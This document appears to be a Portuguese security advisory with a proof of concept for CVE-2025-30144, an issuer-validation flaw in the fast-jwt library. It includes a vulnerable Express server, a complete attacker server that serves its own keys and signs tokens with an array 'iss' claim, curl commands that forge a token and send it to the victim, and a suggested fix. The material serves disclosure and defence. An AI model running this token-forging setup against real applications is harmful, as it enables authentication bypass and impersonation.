
Prova de conceito para CVE-2025-30144: desvio de validação de emissor JWT na biblioteca fast-jwt permitindo que atacantes forjem tokens com reivindicações iss baseadas em array.
A biblioteca fast-jwt não valida corretamente a declaração iss com base no RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
A validação da declaração iss (emissor) na biblioteca fast-jwt permite um array de strings como um valor iss válido. Esta falha de design possibilita um ataque potencial onde um agente malicioso cria um JWT com uma declaração iss estruturada como ['https://attacker-domain/', 'https://valid-iss']. Devido à validação permissiva, o JWT será considerado válido.
Além disso, se a aplicação depender de bibliotecas externas como get-jwks que não validam independentemente a declaração iss, o atacante pode aproveitar esta vulnerabilidade para forjar um JWT que será aceito pela aplicação vítima. Essencialmente, o atacante pode inserir seu próprio domínio no array , junto ao emissor legítimo, e contornar as verificações de segurança pretendidas.
issConsidere um servidor executando o seguinte código:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Agora construímos um servidor que será usado para gerar o token JWT e enviar as chaves de verificação para o servidor vítima:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Aplicações que dependem da validação da declaração iss pelo fast-jwt permitem que atacantes assinem cargas úteis arbitrárias que serão aceitas pelo verificador.
Altere https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 para um validador que aceite apenas string para o valor, conforme declarado no RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.